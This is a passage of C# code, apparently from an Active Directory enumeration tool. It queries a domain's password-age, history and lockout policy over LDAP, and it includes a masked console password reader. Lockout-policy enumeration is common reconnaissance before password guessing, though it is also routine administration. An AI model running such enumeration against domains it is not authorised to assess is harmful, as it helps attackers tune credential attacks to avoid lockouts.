SearchResult result = searcher.FindOne(); 373 | 374 | if (result != null) 375 | { 376 | TimeSpan maxPwdAge = TimeSpan.FromTicks((long)result.Properties["maxPwdAge"][0]); 377 | TimeSpan minPwdAge = TimeSpan.FromTicks((long)result.Properties["minPwdAge"][0]); 378 | int lockoutThreshold = (int)result.Properties["lockoutThreshold"][0]; 379 | TimeSpan lockoutDuration = TimeSpan.FromTicks((long)result.Properties["lockoutDuration"][0]); 380 | int pwdHistoryLength = (int)result.Properties["pwdHistoryLength"][0]; 381 | TimeSpan lockoutObservationWindow = TimeSpan.FromTicks((long)result.Properties["lockoutObservationWindow"][0]); 382 | 383 | Console.ForegroundColor = ConsoleColor.Green; 384 | Console.WriteLine("Domain Password Policy Information:"); 385 | Console.ResetColor(); 386 | Console.WriteLine(); 387 | Console.WriteLine($"Maximum Password Age: {maxPwdAge.Days} days"); 388 | Console.WriteLine($"Minimum Password Age: {minPwdAge.Days} days"); 389 | Console.WriteLine($"Enforce Password History: {pwdHistoryLength} passwords"); 390 | Console.WriteLine(); 391 | Console.ForegroundColor = ConsoleColor.Green; 392 | Console.WriteLine("Domain Lockout Policy Information:"); 393 | Console.ResetColor(); 394 | Console.WriteLine(); 395 | Console.WriteLine($"Lockout Threshold: {lockoutThreshold} invalid attempts"); 396 | Console.WriteLine($"Lockout Duration: {lockoutDuration.TotalMinutes} minutes"); 397 | Console.WriteLine($"Reset Account Lockout Counter After: {lockoutObservationWindow.TotalMinutes} minutes"); 398 | } 399 | else 400 | { 401 | Console.WriteLine("Failed to retrieve domain password policy."); 402 | } 403 | } 404 | } 405 | } 406 | catch (Exception ex) 407 | { 408 | Console.WriteLine($"Error enumerating domain password policy: {ex.Message}"); 409 | } 410 | } 411 | 412 | static string ReadPassword() 413 | { 414 | string password = ""; 415 | ConsoleKeyInfo key; 416 | 417 | do 418 | { 419 | key = Console.ReadKey(true); 420 | 421 | if (key.Key == ConsoleKey.Backspace && password.Length > 0) 422 | { 423 | // Delete the last character 424 | password = password.Substring(0, password.Length - 1); 425 | Console.Write("\b \b"); // Clear the last character on the console 426 | } 427 | else if (key.Key != ConsoleKey.Enter) 428 | { 429 | password += key.KeyChar; 430 | Console.Write("*"); 431 | } 432 | } while (key.Key != ConsoleKey.Enter); 433 | 434 | Console.WriteLine(); 435 | return password; 436 | } 437 | 438 | } 439 | } 440 | --------------------------------------------------------------------------------